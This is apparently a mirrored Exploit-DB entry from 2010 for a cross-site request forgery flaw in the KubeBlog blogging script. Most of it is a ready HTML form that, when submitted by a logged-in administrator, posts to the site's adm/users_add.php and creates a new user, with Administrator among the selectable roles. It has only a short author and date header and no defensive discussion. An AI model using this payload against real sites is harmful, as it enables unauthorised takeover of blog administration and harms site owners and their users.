扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
======================================================================================== | # Title: KubeBlog XSRF Vuln. | # Author : The.Morpheus | # email: fats0L@windowslive.com | # Home : http://www.spyturks.com | # Date : 03.05.2010 | # Script : Copyright © 2008 Kubelabs.comAll Rights Reserved | # Tested on: http://demos.kubelabs.com/kubeblog | # Bug: Yeni User Eklenebilinir. ======================Exploit By The.Morpheus================================= # Exploit: <form name="form1" method="post" action="http://[vuln_site]/kubeblog/adm/users_add.php"> <table width="70%" cellpadding="0" cellspacing="2" border="0"> <tr> <td width="35%"> </td> <td width="65%"> </td> </tr> <tr> <td><strong>Username (<a href="https://www.exploit-db.com/exploits/12496/#" onClick="MM_openBrWindow('help.php?id=6','help','width=500,height=200')">?</a>)</strong></td> <td>:<input name="username" type="Text" class="textbox" id="username" style="width:60%" value=""><span class="error"></span></td> </tr> <tr> <td><strong>Password (<a href="https://www.exploit-db.com/exploits/12496/#" onClick="MM_openBrWindow('help.php?id=7','help','width=500,height=200')">?</a>)</strong></td> <td>:<input name="password" type="password" class="textbox" id="password" style="width:60%" value=""><span class="error"></span></td> </tr> <tr> <td><strong>Confirm Password (<a href="https://www.exploit-db.com/exploits/12496/#" onClick="MM_openBrWindow('help.php?id=8','help','width=500,height=200')">?</a>)</strong></td> <td>:<input name="password2" type="password" class="textbox" id="password2" style="width:60%" value=""></td> </tr> <tr> <td><strong>User Type (<a href="https://www.exploit-db.com/exploits/12496/#" onClick="MM_openBrWindow('help.php?id=9','help','width=500,height=200')">?</a>)</strong></td> <td>: <select name="user_type"> <option value='2'>User</option><option value='3'>Administrator</option><option value='4'>Moderator</option></select> </td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td></td> <td height="30" style="padding-left:6px;"> <input name="Submit" type="submit" class="button" value="Submit"> <input name="Reset" type="reset" class="button" value="Reset"> </td> </tr> </table> </form></td> ############################################################################################ |
体验盒子
